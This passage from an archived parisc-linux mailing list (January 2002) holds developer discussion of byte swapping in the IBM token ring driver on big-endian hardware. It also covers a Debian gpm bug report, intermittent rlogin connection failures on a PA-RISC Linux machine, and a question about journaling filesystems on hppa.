Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201152129020.11606-100000@alpha.bocc.de>
References: <OF2127EDE6.9F97A3EC-ON85256B42.00699E6F@urscorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620974 1230 80.91.229.3 (22 Nov 2014 01:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:34 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>
To: mike_phillips@urscorp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 13:33:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85FA4482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 13:33:03 -0700 (MST)
Original-Received: from pD9E01E5C.dip.t-dialin.net (pD9E01E5C.dip.t-dialin.net [217.224.30.92])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0FKWpj11083;
	Tue, 15 Jan 2002 21:32:51 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <OF2127EDE6.9F97A3EC-ON85256B42.00699E6F@urscorp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13760

Hi Mike,

> And MCA.....

I doubt that this might be an issue for big endian, unless someone 
*really* starts a Linux port for POWER2 or ports MCA to PPC for the 
early RS/6000 (model 250?) machines.

--jochen




From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 21:37:39 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E16QbH1-0006IW-00@the-village.bc.nu>
References: <Pine.LNX.4.43.0201152129020.11606-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620975 1234 80.91.229.3 (22 Nov 2014 01:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:35 +0000 (UTC)
Cc: mike_phillips@urscorp.com, linux-tr@linuxtr.net,
	parisc-linux@lists.parisc-linux.org (HP900 PARISC mailing list),
	randolph@tausq.org (Randolph Chung)
To: jochen@scram.de (Jochen Friedrich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 14:26:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE39A482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 14:26:19 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16QbH1-0006IW-00; Tue, 15 Jan 2002 21:37:39 +0000
In-Reply-To: <Pine.LNX.4.43.0201152129020.11606-100000@alpha.bocc.de> from "Jochen Friedrich" at Jan 15, 2002 09:32:38 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13761

> > And MCA.....
> 
> I doubt that this might be an issue for big endian, unless someone 
> *really* starts a Linux port for POWER2 or ports MCA to PPC for the 
> early RS/6000 (model 250?) machines.

That may happen. If the code is endian clean they can fix up the remnants



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 23:10:52 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020115231052.A4018@zaphod.halden.lillfab.se>
References: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620975 1237 80.91.229.3 (22 Nov 2014 01:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:35 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 18:05:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mf2.bredband.net (mf2.lab.bredband.com [195.54.122.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id B96FC482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 18:05:03 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se ([213.112.197.114])
          by mf2.bredband.net with ESMTP
          id <20020116010337.APC7789.mf2@zaphod.halden.lillfab.se>;
          Wed, 16 Jan 2002 02:03:37 +0100
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA24075;
	Tue, 15 Jan 2002 23:10:52 +0100
In-Reply-To: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de>; from jochen@scram.de on Mon, Jan 14, 2002 at 20:53:26 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 19
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13762

On 2002.01.14 20:53 Jochen Friedrich wrote:
> Hi there,
HI
> this patch fixes some endianess issues of the current ibmtr driver. 
> Although the current uses of htons() etc look correct, they are not: the 
> writew/readw API already do the byte swap on big endian machines.
>
I think the driver was correct. The i/o layer should not try to byteswap
the io requests, because it can not second-guess what the driver is doing.

And in the case of the tr driver it now does two swaps for each word it tranfers on
big endian platforms instad of zero.

The ne2000 driver had the same problem, but I removed the swaps from the parisc i/o code 
instad of touching the driver.

/Daniel
-- 



From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Tue, 15 Jan 2002 17:23:43 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20020116012343.GV3247@tausq.org>
References: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de> <20020115231052.A4018@zaphod.halden.lillfab.se>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620975 1239 80.91.229.3 (22 Nov 2014 01:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:35 +0000 (UTC)
Cc: Jochen Friedrich <jochen@scram.de>, linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 18:24:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02C79482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 18:24:01 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id yzcjkaaa for parisc-linux@lists.parisc-linux.org; Tue, 15 Jan 2002 18:24:06 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Qenn-0007XC-00; Tue, 15 Jan 2002 17:23:43 -0800
Content-Disposition: inline
In-Reply-To: <20020115231052.A4018@zaphod.halden.lillfab.se>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13763

> I think the driver was correct. The i/o layer should not try to byteswap
> the io requests, because it can not second-guess what the driver is doing.

For reference, you may wish to read
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/014606.html

Originally the parisc {read,write}[wl] macros did not swap, but this
breaks many PCI drivers. For example, we used to have hppa specific code in the
sym53c8xx driver that did the swapping....

> And in the case of the tr driver it now does two swaps for each word it tranfers on
> big endian platforms instad of zero.


I agree this is not optimal, altho, as Alan Cox pointed out in
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/014527.html
double swaps may be optimized out by the compiler.
> 
> The ne2000 driver had the same problem, but I removed the swaps from the parisc i/o code 
> instad of touching the driver.

for parisc we follow the ppc convention of defining __raw_{read,write}[wl]
that are host-endian. perhaps the drivers can use this instead?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gpm 1.19.6-9 Broken?
Date: Wed, 16 Jan 2002 09:27:16 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <1011169636.3c453964624af@webmail.tiscali.be>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620975 1240 80.91.229.3 (22 Nov 2014 01:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:35 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 01:27:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFC80482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 01:27:28 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16QlPg-0004Dm-00; Wed, 16 Jan 2002 09:27:16 +0100
In-Reply-To: <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13764

Hi Matt,

Quoting Matthew Wilcox <willy@debian.org>:

> On Tue, Jan 15, 2002 at 07:03:09PM +0100, joel.soete@freebel.net wrote:
> > I do my daily apt-get dist-upgrade which update my gpm package to
> release indice
> > -9 and it failled to start with daemons.log following error messages:
> 
> I suggest you file a bug against the debian gpm package (see
> http://www.debian.org/Bugs/).  Since you've clearly narrowed it down to
> gpm, it's really up to that package's maintainer.

Ok i just ry it. I will see if I all well unterstood? :))

Thanks,
        Joel

> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi 4369 <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rlogin --> Connection closed.
Date: Wed, 16 Jan 2002 10:04:08 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <3C454208.C1F66E59@hpfrcu81.france.hp.com>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620976 1243 80.91.229.3 (22 Nov 2014 01:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 02:07:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8639482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 02:06:59 -0700 (MST)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id C8A0A393
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:05:09 +0100 (MET)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id KAA01446 for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:04:08 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13765

Hi All,

On my freshly installed 712 palinux when trying to rlogin into it I got this

iws1pb05:/home/phi> rlogin iws1pb02
Connection closed.
iws1pb05:/home/phi>


Indeed I did all I thought was enough to make it workable (install of the
rlogind, resolv.conf, nsswitch.conf, inetd.conf, .rhosts with rights ok,
etc...)

I think the setup is ok, because I eventually succeed sometime to get in with
the following


iws1pb05:/home/phi> for i in 0 1 2 3 4 5 6 7 8 9
do
rlogin iws1pb02
done

Connection closed.
Connection closed.
Connection closed.
Last login: Wed Jan 16 09:51:35 2002 from iws1pb05 on pts/0
Linux iws1pb02 2.4.17-pa11 #2 Tue Jan 15 10:51:25 CET 2002 parisc unknown
iws1pb02:/home/phi>

iws1pb05 from which I try the rlogin is running HPUX11 and is a B2000.  Dunno
if it helps to know that.

Any ideas ?

Phi

--
mailto:Philippe_Benard@hp.com
WTEC HP-UX kernel debugging tools



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gpm 1.19.6-9 Broken?
Date: Wed, 16 Jan 2002 11:27:01 +0100 (CET)
Lines: 47
Approved: news@gmane.org
Message-ID: <1011176821.3c455575d5061@webmail.tiscali.be>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620976 1244 80.91.229.3 (22 Nov 2014 01:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:36 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 03:27:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78E19482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 03:27:05 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16QnHa-0005Xl-00; Wed, 16 Jan 2002 11:27:02 +0100
In-Reply-To: <1011169636.3c453964624af@webmail.tiscali.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13766

Quoting joel.soete@freebel.net:

> Hi Matt,
> 
> Quoting Matthew Wilcox <willy@debian.org>:
> 
> > On Tue, Jan 15, 2002 at 07:03:09PM +0100, joel.soete@freebel.net
> wrote:
> > > I do my daily apt-get dist-upgrade which update my gpm package to
> > release indice
> > > -9 and it failled to start with daemons.log following error
> messages:
> > 
> > I suggest you file a bug against the debian gpm package (see
> > http://www.debian.org/Bugs/).  Since you've clearly narrowed it down
> to
> > gpm, it's really up to that package's maintainer.

Ok, it works:
Bug#129471: Acknowledgement (gpm 1.19.6-9 Broken at leat on hppa)

Thanks again,
        Joel

> 
> Ok i just ry it. I will see if I all well unterstood? :))
> 
> Thanks,
>         Joel
> 
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] journaling filesystem on parisc?
Date: Wed, 16 Jan 2002 18:41:24 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <15429.47940.937550.926908@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620976 1246 80.91.229.3 (22 Nov 2014 01:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 10:42:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 315A8482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:42:02 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id SAA13684
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 18:41:25 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id g0GHfPt26422;
	Wed, 16 Jan 2002 18:41:25 +0100 (MET)
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13767

Did not see this mentioned on the list or the site. Any experiences on
hppa? Does XFS work?

Thanks, Matthias



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: rlogin --> Connection closed.
Date: Wed, 16 Jan 2002 18:40:52 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020116174052.GV9244@finlandia.infodrom.north.de>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be> <3C454208.C1F66E59@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620977 1250 80.91.229.3 (22 Nov 2014 01:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi 4369 <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 10:42:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83FDE482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:42:30 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 735583664C4; Wed, 16 Jan 2002 18:42:13 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m16Qu3R-000ohvC@finlandia.Infodrom.North.DE>
	for phi@hpfrcu81.france.hp.com; Wed, 16 Jan 2002 18:40:53 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <3C454208.C1F66E59@hpfrcu81.france.hp.com>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
